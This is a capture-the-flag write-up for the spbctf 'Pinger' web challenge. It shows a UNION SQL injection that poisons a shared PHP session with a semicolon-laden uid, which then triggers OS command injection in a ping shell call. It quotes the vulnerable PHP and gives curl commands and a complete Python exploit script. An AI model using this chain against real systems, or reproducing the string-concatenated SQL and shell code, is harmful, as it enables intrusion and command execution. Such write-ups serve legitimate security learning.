Pinger
Pinger
Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-16 | Status: Solved Techniques: cross_app_session_sharing, os_command_injection_semicolon, union_sqli_session_poisoning
Summary
Task: Two web apps sharing PHP sessions - Decoder (SQLi) and Pinger (command injection). Solution: Poison session via UNION SQLi to inject malicious uid, then reuse session on Pinger to trigger OS command injection.
Pinger — spbctf (Web Kids 2.0)
Description
Two web applications on the same server: Decoder (web200) with SQL injection in login form, and Pinger (web300) with command injection via $_SESSION['uid'] in shell commands. The hint says "start with Decoder task".
Analysis
Decoder (web200) - SQL Injection
php read-only • copy allowed$res = mysql_query("SELECT * FROM users WHERE login = '$login' AND password = '$password'"); $_SESSION['uid'] = $row['uid']; // UID from query stored in session!
Pinger (web300) - Command Injection
php read-only • copy allowedCommand("timeout 6 ping -c 4 -i 1 -W 1 user" . $_SESSION['uid'] . ".hackyou-web300.ctf.su 2>&1");
Key insight: Both apps share the same PHP session storage (same server). If we inject malicious uid via SQLi in web200, we can reuse that session on web300 to trigger command injection.
Critical observation: web300 checks if (!isset($_SESSION['uid'])) - if uid is already set (from web200), it skips the users.db authentication entirely!
Solution
Step 1: SQL Injection to Poison Session
bash read-only • copy allowedcurl -v -c cookies.txt \ --data-urlencode "login=' UNION SELECT '1;/binary_to_output_web300_flag;#','x','y'-- " \ -d "password=x" \ http://hackyou-web200.ctf.su/
Session now contains: $_SESSION['uid'] = "1;/binary_to_output_web300_flag;#"
Step 2: Reuse Session on web300
bash read-only • copy allowedSID="<session_id_from_step1>" curl -s -b "PHPSESSID=$SID" -d "login=x" http://hackyou-web300.ctf.su/ curl -s -b "PHPSESSID=$SID" -d "password=x" http://hackyou-web300.ctf.su/
Step 3: Trigger Command Injection
bash read-only • copy allowedcurl -s -b "PHPSESSID=$SID" -d "ping=1" http://hackyou-web300.ctf.su/
Executed command:
timeout 6 ping -c 4 -i 1 -W 1 user1;/binary_to_output_web300_flag;#.hackyou-web300.ctf.su 2>&1
python read-only • copy allowed#!/usr/bin/env python3 import requests import re WEB200 = "http://hackyou-web200.ctf.su/" WEB300 = "http://hackyou-web300.ctf.su/" # Step 1: SQLi to inject malicious uid into session payload = "' UNION SELECT '1;/binary_to_output_web300_flag;#','x','y'-- " session = requests.Session() r = session.post(WEB200, data={"login": payload, "password": "x"}, allow_redirects=False) print(f"[+] Session poisoned: {session.cookies.get('PHPSESSID')}") # Step 2: Set login and password on web300 (using same session) session.post(WEB300, data={"login": "x"}) session.post(WEB300, data={"password": "x"}) # Step 3: Trigger command injection r = session.post(WEB300, data={"ping": "1"}) match = re.search(r'w00p[^<]+', r.text) if match: print(f"[+] Flag: {match.group()}")